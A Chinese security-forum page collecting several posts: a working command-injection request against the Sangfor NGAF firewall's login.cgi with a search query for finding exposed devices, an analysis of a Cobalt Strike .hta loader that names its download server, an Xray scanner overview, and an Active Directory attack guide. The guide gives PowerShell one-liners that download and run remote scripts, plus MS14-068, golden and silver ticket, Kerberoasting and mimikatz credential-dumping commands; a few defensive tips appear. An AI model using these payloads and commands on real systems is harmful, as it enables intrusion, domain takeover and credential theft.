跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 免责申明 安全小天地的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!! 漏洞描述 深信服下一代防火墙(Next-Generation Application Firewall)NGAF是面向应用层设计,能够精确识别用户、应用和内容,具备完整安全防护能力,能够全面替代传统防火墙,并具有强劲应用层处理能力的全新网络安全设备。深信服下一代防火墙(Next-Generation Application Firewall)NGAF的login.cgi接口对用户传入的参数未进行有效的过滤,攻击者可利用该漏洞获取服务器的权限。 漏洞复现 fofa-qeury: app=\"SANGFOR-防火墙类产品\" 1.执行poc写入无害文件,访问该文件得到内容 POST /cgi-bin/login.cgi HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36 Connection: close Content-Length: 112 Content-Type: Application/X-www-Form Cookie: PHPSESSID=`$(echo 156828301~ > /fwlib/sys/virus/webui/svpn_html/qwer.txt)`; Accept-Encoding: gzip {\"opr\":\"login\", \"data\":{\"user\": \"watchTowr\" , \"pwd\": \"watchTowr\" , \"vericode\": \"EINW\" , \"privacy_enable\": \"0\"}} 2.访问/svpn_html/qwer.txt路径 参考文章 本文转载自公众号:融云攻防实验室 深信服下一代防火墙远程命令执行 https://mp.weixin.qq.com/s/XtNoI3H_EIek4IFK_11DfA
  2. 我们将在本文介绍解码用于加载cobalt strike shellcode的简单.hta加载器的过程,接下来用文本编辑器执行初始分析,并使用CyberChef提取嵌入的shellcode,将使用模拟器(SpeakEasy)验证shellcode,使用Ghidra执行一些基本分析。 哈希:2 c683d112d528b63dfaa7ee0140eebc4960fe4fad6292c9456f2fbb4d2364680。将zip文件下载到一个安全的虚拟机中,并在感染密码的情况下解压缩,将显示一个.hta文件。.hta文件本质上是一个带有嵌入式脚本的html文件,我们的目标是定位和分析嵌入的脚本。 由于.hta是一种基于文本的格式,我们可以直接在文本编辑器中打开该文件。 使用文本编辑器进行分析 在文本编辑器中打开该文件将显示一小段混淆的代码,后面跟着一个大的base64 blob。 出于分析目的,我们不需要解码初始部分,我们可以通过PowerShell命令的存在和分解的wscript.shell来判断这一点。它通常从javascript执行命令。 使用初始脚本只执行base64 blob的方法,我们可以直接解码base64。如果base64 blob不能解码,可以返回到初始片段进行分析。 解码Base64 可以继续突出显示整个base64 blob并将其复制到cyberchef,现在可以尝试解码它。 将base64内容复制到CyberChef中,可以看到字符之间带有空字节的明文,这通常表示utf-16编码,很容易通过“decode text”或“remove null bytes”删除。 通过在配方中添加“remove null bytes”,可以获得看起来像PowerShell脚本的解码内容。 使用“解码文本”和“utf-16”也可以很好地工作。 这两个选项都会产生一个解码的powershell脚本,可以将其复制到一个新的文本编辑器窗口中。 PowerShell脚本分析 现在将PowerShell脚本放入文本编辑器中,我们可以继续扫描关键字或任何可能指示下一步操作的内容。 在脚本中间的十六进制字节的大blob,以及大量的api的引用,可用于分配(VirtualAlloc),写入(memset)和执行(CreateThread)内存中的东西。 在脚本的底部有一些小的东西。该脚本休眠60秒,如果初始脚本失败,会尝试切换到64位版本的Powershell。 解码十六进制字节使用CyberChef 为了分析十六进制字节,我们可以复制它们并尝试使用CyberChef解码它们,通过复制以下字节并将它们移动到CyberChef来实现。 一旦复制,字节可以用一个简单的“from十六进制”操作解码。在本例中,逗号和0x被自动识别。 我们还可以看到,虽然内容被“解码”,但看起来仍然不太好。 用CyberChef验证ShellCode 此时,验证我们的假设,即解码的内容是shellcode。一种常见的方法是在shellcode中查找明文值(ip, api名称),这需要做额外的分析。 使用CyberChef,可以通过尝试反汇编字节来验证我们的理论,即内容是shellcode。我们需要将值转换为十六进制,然后使用CyberChef的Disassemble x86操作。 在这里,可以看到字节已经成功反汇编。 1.没有明显的红色部分表示反汇编失败; 2.CLD :这是shellcode执行的第一个常见命令。 还有其他一些指标,如早期调用操作和错误0D操作,这些都是Cobalt Strike shell代码常见的情况。这些模式看起来很奇怪,但在看过一些shellcode示例之后就很容易识别了。 现在,我们可以假设数据是shellcode,并通过尝试执行它来做进一步的验证。 此时,可以继续分析反汇编字节,我们需要对x86指令有所熟悉。尝试并执行代码通常要容易得多。特别是对于较大的shellcode示例。 通过在模拟器中执行来验证ShellCode 为了进一步验证数据是shellcode并尝试确定它的功能,我们可以将其保存到一个文件中,并尝试在模拟器或调试器中运行它。 在这种情况下,可以使用FireEye的SpeakEasy工具。你可以在这里阅读SpeakEasy,并从GitHub下载。 在运行SpeakEasy之前,我们可以先下载可疑shellcode的原始字节,确保删除十六进制和反汇编x86操作。 你可以将文件命名为任何你喜欢的名称,本文将其命名为shellcode.bin。 接下来,可以用以下命令在SpeakEasy工具上打开命令提示符。 -t :要模拟的目标文件; -r :告诉SpeakEasy文件是shellcode; -a x86 :告诉SpeakEasy假定x86指令。这几乎总是x86或x64,如果其中一个失败,可以试试另一个。 按下enter键,SpeakEasy就可以成功地模拟代码。在这里我们可以看到,为了从51.79.49[.]174:443下载一些东西,进行了许多api调用。 现在,可以安全地假设整个脚本和shellcode的主要目的是充当下载程序。此时,还可以调查到该IP地址的连接,并确定是否成功下载和执行了任何内容。
  3. 相关推荐 自动化批量挖掘漏洞(edu) thumbnail.svg2022年9月27日 21:22 06359 Xray简单使用 thumbnail.svg2022年9月27日 21:30 0200714 xray与dirsearch联动 thumbnail.svg2022年3月10日 17:35 059311 功能介绍 1.9.3版本比1.9.1版本增加了172个新的POC,总POC数量达到了722个 社区高级版比社区版增加 子域名扫描功能 部分专项漏洞检测 更新日志 做了一些优化 优化扫描效率 增强子域名收集功能 增加了一些功能 添加burp的history导出文件转yml脚本的功能 log4j2-rce的检测 为自定义脚本(gamma)添加 格式化时间戳函数 进制转换函数 sha,hmacsha函数 url全字符编码函数 rev 字符串反向函数 添加 upper 字符串大写函数 dir() basename() body_string title_string 扫描时,可以指定POC的危害等级,分为low,medium,high,critical,通过--level参数指定 为shiro插件添加文件加载功能,可以直接加载指定文件中的key 可在配置文件中配置每个poc的标签,通过–tags来指定标签扫描 更新了--list功能,可查看相关标签对应poc 为 response 添加 icon_url 属性 修复了一些问题 修复cve-2021-29490误报严重问题 修复报告只显示参考链接,不显示提交者的问题 修复cache可能出现的请求不发送问题 过滤部分冗余的错误日志 修复一些意外导致panic的问题 新增x命令 支持对发现的web站点进行漏洞探测 支持带宽控制与智能速率调节,最优化扫描效率 支持多目标多端口随机探测,基于有限元的随机化方案 支持ICMP/TCP/UDP主机存活探测 支持SYN/CONNECT端口扫描 支持URL/IP/域名/IP范围/CIDR等多种输入方式 支持指纹识别 该命令实际上是xray内置的、启用了 printer service-scan target-parse 这三个内置的插件的命令。 其中service-scan提供 主机存活探测、服务指纹识别、web指纹识别 的功能 可以查看 plugin-config.xray.yaml,module-config.xray.yaml获得详细配置信息,执行xray x --help 获取命令行参数与试用方法。 示例: xray x -t example.com xray x -t http://example.com xray x -t example.com/24 xray x -t 192.168.1.1/24 xray x -t 192.168.1.1-192.168.1.254 xray x -t 192.168.1.1-254 xray x -t 192.168.1.1-254 -p 22,80,443-445 新增385个poc,感谢师傅们的提交,更新后即可自动加载 vmware-vcenter-cve-2021-21985-rce.yml 74cms-cnvd-2021-45280.yml adobe-coldfusion-cve-2018-15961.yml ametys-cms-cve-2022-26159.yml anmei-rce.yml apache-airflow-cve-2020-13927-unauthorized.yml apache-apisix-dashboard-api-unauth-rce.yml atlassian-jira-unauth-user-enumeration.yml auerswald-cve-2021-40859.yml clickhouse-http-unauth.yml cve-2022-24990-terramaster-fileupload.yml dedecms-cve-2017-17731-sqli.yml dedecms-mysql-error-trace.yml dedecms-search-php-sqli.yml doccms-sqli.yml earcms-download-php-exec.yml earcms-index-uplog-php-file-upload.yml emlog-cve-2021-3293.yml ewebs-fileread.yml eyoucms-cve-2021-39501.yml ezoffice-smartupload-jsp-upload.yml finecms-getshell.yml full-read-ssrf-in-spring-cloud-netflix.yml grafana-snapshot-cve-2021-39226.yml hadoop-yarn-rpc-rce.yml hikvision-readfile.yml hongfan-oa-readfile.yml interlib-read-file.yml ivanti-endpoint-manager-cve-2021-44529-rce.yml jinhe-oa-readfile.yml joomla-jck-cve-2018-17254-sqli.yml kingdee-oa-apusic-readfile.yml landray-oa-rce.yml lionfish-cms-image-upload-php-upload.yml lionfish-cms-wxapp-php-upload.yml mastodon-cve-2022-0432.yml metersphere-plugincontroller-rce.yml metinfo-x-rewrite-url-sqli.yml movabletype-cve-2021-20837-rce.yml netpower-readfile.yml nette-framework-cve-2020-15227-rce.yml nginx-path-traversal.yml oa8000-workflowservice-sqli.yml onethink-sqli.yml php-chat-live-uploadimg-html-upload.yml phpcms-960-sqli.yml phpweb-appplus-php-upload.yml pigcms-file-upload.yml prestashop-smartblog-cve-2021-37538.yml qibocms-readfile.yml rudloff-alltube-cve-2022-0692.yml seeyon-oa-a6-information-disclosure.yml spring-cloud-gateway-cve-2022-22947-rce.yml supesite-sqli.yml sysaid-itil-cve-2021-43972.yml tongda-oa-action-upload-php-upload.yml tongda-oa-report-bi-func-php-sqli.yml voipmonitor-cve-2022-24260.yml wanhuoa-upload-rce.yml weaver-e-office-lazyuploadify-upload.yml weaver-oa-eoffice-information-disclosure.yml weijiaoyi-post-curl-ssrf.yml western-digital-mycloud-ftp-download-exec.yml western-digital-mycloud-jqueryfiletree-exec.yml western-digital-mycloud-multi-uploadify-file-upload.yml western-digital-mycloud-raid-cgi-exec.yml western-digital-mycloud-sendlogtosupport-php-exec.yml western-digital-mycloud-upload-php-exec.yml western-digital-mycloud-upload-php-upload.yml yonyou-erp-nc-readfile.yml zhixiang-oa-sqli.yml zoho-cve-2022-23779-info-leak.yml adobe-coldfusion-cve-2021-21087.yml alibaba-anyproxy-fetchbody-fileread.yml apache-apisix-cve-2020-13945-rce.yml apache-guacamole-default-password.yml atlassian-jira-cve-2019-3403.yml bsphp-unauthorized-access.yml cve-2017-16894-sensitive-documents.yml delta-entelitouch-cookie-user-password-disclosure.yml domoticz-cve-2019-10664.yml druid-cve-2021-25646.yml dynamicweb-cve-2022-25369.yml egroupware-spellchecker-rce.yml elfinder-cve-2021-32682-rce.yml emerge-e3-cve-2019-7256.yml essl-dataapp-unauth-db-leak.yml finecms-cve-2018-6893.yml franklinfueling-cve-2021-46417-lfi.yml fuelcms-cve-2018-16763-rce.yml genixcms-register-cve-2015-3933-sqli.yml getsimple-cve-2019-11231.yml ghostscript-cve-2018-19475-rce.yml jetty-servlets-concatservlet-information-disclosure-cve-2021-28169.yml jetty-web-inf-information-disclosure-cve-2021-34429.yml jira-cve-2021-26086.yml joomla-history-cve-2015-7857-sqli.yml jquery-picture-cut-upload-php-fileupload-cve-2018-9208.yml jsrog-artifactory-cve-2019-9733.yml kibana-cve-2019-7609-rce.yml kodexplorer-directory-traversal.yml maccms-cve-2017-17733-rce.yml metabase-cve-2021-41277.yml nostromo-cve-2011-0751-directory-traversal.yml nuxeo-cve-2018-16341-rce.yml odoo-cve-2019-14322.yml php-imap-cve-2018-19518-rce.yml phpmoadmin-cve-2015-2208-rce.yml piwigo-cve-2022-26266-sqli.yml rconfig-ajaxserversettingschk-cve-2019-16662-rce.yml rconfig-commands-inc-cve-2020-10220-sqli.yml resin-directory-traversal-cve-2021-44138.yml ruanhong-jvm-lfi.yml ruanhong-oa-xxe.yml ruckus-default-password.yml seeyon-oa-a8-m-information-disclosure.yml showdoc-cnvd-2020-26585.yml socomec-cve-2019-15859.yml spring-data-rest-cve-2017-8046-rce.yml subrions-search-cve-2017-11444-sqli.yml teclib-glpl-cve-2019-10232.yml terramaster-tos-cve-2022-24989.yml tibco-jasperreports-cve-2018-18809-directory-traversal.yml tongda-oa-login-code-php-login-bypass.yml twonkyserver-cve-2018-7171-fileread.yml vmware-workspace-cve-2021-22054-ssrf.yml vmware-workspace-cve-2022-22954-rce.yml vtigercrm-cve-2020-19363.yml weaver-ecology-getsqldata-sqli-rce.yml wordpress-site-editor-cve-2018-7422-lfi.yml wso2-cve-2022-29464-fileupload.yml wuzhicms-cve-2018-11528.yml zabbix-cve-2019-17382.yml zimbra-collaboration-server-cve-2013-7091-lfi.yml zoneminder-cve-2016-10140-unauth-access.yml apollo-default-password.yml ecology-oa-eoffice-officeserver-php-file-read.yml dptech-vpn-fileread.yml ezoffice-filupload-controller-getshell.yml yachtcontrol-webapplication-cve-2019-17270.yml atlassian-jira-cve-2019-3401.yml emerge-e3-cve-2019-7254.yml vbulletin-cve-2020-12720.yml netsweeper-webadmin-cve-2020-13167.yml searchblox-cve-2020-35580.yml opensis-cve-2020-6637.yml hd-network-real-time-monitoring-system-cve-2021-45043.yml visual-tools-dvr-vx16-cve-2021-42071.yml jsrog-artifactory-cve-2019-17444.yml reolink-RLC-410W-CVE-2022-21236.yml tlr-2005ksh-cve-2021-45428.yml zoho-manageengine-access-manager-plus-cve-2022-29081.yml selea-ocr-anpr-arbitrary-get-file-read.yml easyappointments-cve-2022-0482.yml netgear-ssl-vpn-20211222-cve-2022-29383.yml hitachi-vantara-pentaho-business-analytics-cve-2021-34684.yml manageengine-opmanager-cve-2020-11946.yml intelbras-wireless-cve-2021-3017.yml sapido-router-unauthenticated-rce.yml china-telecom-zte-f460-rce.yml china-mobile-yu-router-information-disclosure.yml tlr-2855ks6-arbitrary-file-creation-cve-2021-46418.yml uniview-isc-rce.yml feiyuxing-route-wifi-password-leak.yml changjie-crm-sqli.yml fhem-file-read-cve-2020-19360.yml hikvision-ip-camera-backdoor.yml kyocera-file-read.yml niushop-cms-sqli.yml dlink-dap-1620-firmware-cve-2021-46381.yml emby-mediaserver-cve-2020-26948.yml zoho-manageengine-opmanager-cve-2020-12116.yml zabbix-cve-2022-23134.yml tieline-ip-audio-gateway-cve-2021-35336.yml selea-ocr-anpr-arbitrary-seleacamera-file-read.yml microweber-cve-2022-0378.yml atlassian-jira-cve-2022-0540.yml sophosfirewall-bypass.yml zoho-manageengine-desktop-central-cve-2021-44515.yml tenda-11n-ultra-vires.yml tenda-w15e-passsword-leak.yml ziguang-sqli-cnvd-2021-41638.yml kemai-ras-ultra-vires.yml cerebro-request-ssrf.yml motioneye-info-leak-cve-2022-25568.yml yinda-get-file-read.yml jupyter-notebook-rce.yml e-message-unauth.yml kkfileview-cve-2021-43734.yml dlink-dsl-28881a-ultra-vires.yml kunshi-vos3000-fileread.yml reolink-nvr-configuration-disclosure-cve-2021-40150.yml d-Link-dir-825-cve-2021-46442.yml vite-cnvd-2022-44615.yml gitblit-cve-2022-31268.yml bigant-server-cve-2022-23347-lfi.yml wordpress-page-builder-kingcomposer-cve-2022-0165-url-redirect.yml huayu-reporter-rce.yml d-link-dap-2020-cve-2021-27250.yml 74cms-se-cve-2022-29720.yml 74cms-se-cve-2022-33095.yml pbootcms-rce-cve-2022-32417.yml e-office-v10-sqli.yml yonyou-nc-file-upload.yml xiaomi-cve-2019-18371.yml yonyou-erp-u8-fil… 工具下载 Xray 1.9.3 社区版Github地址Xray 1.9.3 Advanced For Linux提取码:xyw6Xray 1.9.3 Advanced For windows提取码:y5go 常见玩法 被动扫描 相关命令 与AWVS联动相关命令 ./xray webscan --listen 127.0.0.1:7777 --html-output proxy.html AWVS工具 Nginx的rewrite模块详解_nginx 2022年9月8日 20:00 0 其他玩法 使用基本爬虫对爬虫爬取的链接进行爬取和扫描,寻找http://example.com网站的漏洞,并输出到vuln.html ./xray webscan --basic-crawler http://example.com --html-output vuln.html 只扫描单个 URL,不使用爬虫 ./xray webscan --url http://example.com/ ? a=b --html-output single-url.html 手动指定此运行的插件。默认情况下,将启用所有内置插件。您可以使用以下命令指定为此扫描启用哪些插件。 ./xray webscan --plugins cmd-injection,sqldet --url http://example.com\"xRay Web Vulnerability Scanner Advanced v1.8.2 x64.exe\" webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777 指定插件输出,可以指定将本次扫描的漏洞信息输出到文件中 ./xray webscan --url http://example.com/ ? a=b \\--text-output result.txt --json-output result.json --html-output report.html 结语 本文仅供学习研究,如果商业使用建议使用正版,当然如果可以赞助一下xray的相关团队或者参与poc插件提交也会更好改善国内的技术环境,。本文借鉴猪哥博客文章:https://www.iculture.cc/software/pig=24899
  4. 信息收集 网上各种前期信息收集的文章各种net view之类的这里就不贴了。 一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用NLTEST命令查看。最后就是各种net view查看域控是哪台主机 nltest /DCLIST:pentest.com 这里利用PowerTools的中的PowerView的信息收集其实很多功能都是净命令这里只是以PowerShell的方式实现 Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP" 更详细参考:域渗透信息收集PowerTools的 Get-NetDomain - gets the name of the current user's domain Get-NetForest - gets the forest associated with the current user's domain Get-NetForestDomains - gets all domains for the current forest Get-NetDomainControllers - gets the domain controllers for the current computer's domain Get-NetCurrentUser - gets the current [domain\]username Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) Get-NetUserSPNs - gets all user ServicePrincipalNames Get-NetOUs - gets data for domain organization units Get-NetGUIDOUs - finds domain OUs linked to a specific GUID Invoke-NetUserAdd - adds a local or domain user Get-NetGroups - gets a list of all current groups in the domain Get-NetGroup - gets data for each user in a specified domain group Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts Invoke-NetGroupUserAdd - adds a user to a specified local or domain group Get-NetComputers - gets a list of all current servers in the domain Get-NetFileServers - get a list of file servers used by current domain users Get-NetShare - gets share information for a specified server Get-NetLoggedon - gets users actively logged onto a specified server Get-NetSessions - gets active sessions on a specified server Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles Get-NetConnections - gets active connections to a specific server resource (share) Get-NetFiles - gets open files on a server Get-NetProcesses - gets the remote processes and owners on a remote server 获取域方法 SYSVOL SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。sysvol文件夹是安装AD时创建的,它用来存放GPO,脚本等信息。同时,存放在Sysvol文件文件夹中的信息,会复制到域中所有DC上。 使用组策略首选项配置组策略批量修改用户本地管理员密码 开始 - >管理工具 - >组策略管理 - >在这个域中创建GPO 设置 - 右键 - 编辑 - 用户配置 - 首选项 - 控制面板设置 - 本地用户和组 更新管理员密码: 域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml,scheduledtasks.xml,services.xml中,datasources.xml。 映射驱动(Drives.xml) 数据源(DataSources.xml) 打印机配置(Printers.xml) 创建/更新服务(services.xml中) 计划任务(ScheduledTasks.xml) 由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限 \192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml 经过AES-256位加密 cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA" 可以使用AES私钥解密GPP密码 微软在MSDN上发布了AES加密密钥(共享密钥) https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx 使用PowerShell的脚本解密 https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 寻找SYSVOL里的密码和攻击GPP(组策略偏好) Windows Server 2008 R2之四管理Sysvol文件夹 SYSVOL中查找密码并利用组策略首选项 利用SYSVOL还原组策略中保存的密 防: 在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。 设置每个人访问权限 不在组策略中使用域控密码 设置共享文件夹SYSVOL的访问权限 删除现有的GPP里包含密码的XML文件。 MS14-068 Kerberos Kerberos的是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos的需要三方的共同参与,才能完成一次事务处理。 Kerberos是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(主体)。参与的中央服务器被称为密钥分发中心简称KDC).KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。 更多阅读: 的Kerberos协议的滥用 Kerberos的的工作原理 最根本的问题在于权限属性证书可以被伪造,权限属性证书中存储帐号用户名,ID,组成员等信息,掌握域用户一些基本信息就可以获取域管理员权限 攻击者可以有效地重写有效的Kerberos TGT身份验证票据,使其成为域管理员(和企业管理员) https://github.com/bidord/pykek/archive/master.zip https://github.com/gentilkiwi/mimikatz/releases/ apt-get install krb5-user apt-get install rdate MS14-068过程: 请求没有PAC的Kerberos TGT认证票据作为标准用户,DC回复TGT 生成一个伪造的PAC,没有密钥,所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。 作为TGS服务票据请求的一部分,使用伪造的PAC作为授权数据发送无PAC的TGT到DC。 DC似乎被这个混淆了,所以它放弃了用户发送的不含PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到它自己的授权数据中,并将这个TGT发送给用户。 这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。 whoami /user python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 产生缓存的票据,在当前卡利下生成之后再放到域用户机器中 利用mimikatz将工具得到的[email protected]写入内存,创建缓存证书: mimikatz.exe "kerberos::ptc c:[email protected]" exit klist查看 net use k: \pentest.comc$ 目录k: 相关资料: Kerberos的工具包PyKEK 深入解读MS14-068漏洞 Kerberos的安全漏洞 防: 安装检查KB3011780的安装 SPN扫描 Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包 SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内置帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。 SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。 powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers" 扫描SQL Server脚本 Import-Module .Get-SQLServerAccess.psm1 PS C:Get-SqlServer-Escalate-CheckAccess [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomainmyuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- 通过LDAP从ADS获取SQL Server的列表,然后试图用当前域用户登陆每个SQL Server。这些将输出到CSV文件中。 PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomainmyuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- 弱口令猜解 Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@# 寻找敏感数据 Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1" 更多参考: 非扫描式的SQL Server发现 相关资料: SPN扫描 扫描SQLServer的脚本 Kerberos的黄金门票 https://adsecurity.org/?p=1640 域服务账号破解实践 Kerberos的认证原理 深刻理解windows安全认证机制ntlm&Kerberos 的Kerberos身份验证流程 密码转换为NTLM哈希值,时间戳使用散列加密,并作为身份验证票据(TGT)请求(AS-REQ)中的身份验证器发送给KDC。 域控制器(KDC)检查用户信息(登录限制,组成员身份等)并创建票证授予票证(TGT)。 TGT被加密,签名并交付给用户(AS-REP)。只有域中的Kerberos的服务(KRBTGT)才能打开并读取TGT数据。 用户在申请票证授予服务(TGS)票证(TGS-REQ)时向TG提交TGT.DC打开TGT并验证PAC校验和 - 如果DC可以打开票证和校验和签出,则TGT =有效.TGT中的数据被有效地复制来创建TGS票据。 使用目标服务帐户的NTLM密码散列对TGS进行加密并发送给用户(TGS-REP)。 用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。 其实可以说是一种后门而不是什么漏洞。 黄金票据是伪造TGT,可以获取任何Kerberos的服务权限,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。 Kerberos黄金票证是有效的TGT Kerberos票证,因为它是由Kerberos帐户(KRBTGT)加密/签名的.TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证.TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的事实证明它是有效的 利用条件: 1.普通域用户 2.krbtgt ntlm哈希 3.域SID 在域上抓取的哈希 lsadump::dcsync /domain:pentest.com /user:krbtgt kerberos::purge kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi kerberos::ptt administrator.kiribi kerberos::tgt net use k: \pentest.comc$ Kerberos的银票务 攻击者如何使用Kerberos的银票来利用系统 https://www.feiworks.com/wy/drops/域渗透--pass%第二十条%20Ticket.pdf 黄金票据和白银票据的一些区别: Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 银票:伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信 用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。 与域控制器没有AS-REQ / AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银行是伪造的TGS,所以没有与域控制器通信。 银票是伪造的Kerberos的票证授予服务(TGS)票据,也称为服务票据。 域上获取信息 mimikatz log "sekurlsa::logonpasswords" 首先需要获得如下信息: /域 / SID /目标:目标服务器的域名全称,此处为域控的全称 /服务:目标服务器上面的Kerberos的服务,此处为CIFS / rc4:计算机账户的NTLM哈希,域控主机的计算机账户 /用户:要伪造的用户名,此处可用银测试 mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:silver /ptt" 就可以访问域的cifs共享,访问其它是不行的,银票是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限 域服务账号破解 与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户 setspn -T PENTEST.com -Q */* 从Mimikatz的RAM中提取获得的门票 kerberos::list /export 用rgsrepcrack破解 tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi 没复现成功 凭证盗窃 最常用的手法域管理登录历史记录,记得获取某边界权限一个然后抓取散列并没有域管理的,可能是搞的动静有点大,管理员第二天上去把马给清除了,还好留了有后门再次抓取哈希直接获取到域管理员。 大多数Active Directory管理员使用用户帐户登录到其工作站,然后使用RunAs(将其管理凭据放置在本地工作站上)或RDP连接到服务器运行Mimikatz读取密码,收集密码尝试登录管理员机器一般只要域管理员登录过的机器抓取都可以获取域控了 防:管理员不应该拿着域用户去登录web服务器或者邮件服务器一但这些被攻破抓取的密码就是域了 地址解析协议 最后才是ARP欺骗不到最后不要拿出来。 响应 该隐 ettercap BDFProxy 获取AD哈希 攻击者如何转储Active Directory数据库 活动目录数据库(NTDS.DIT) Active 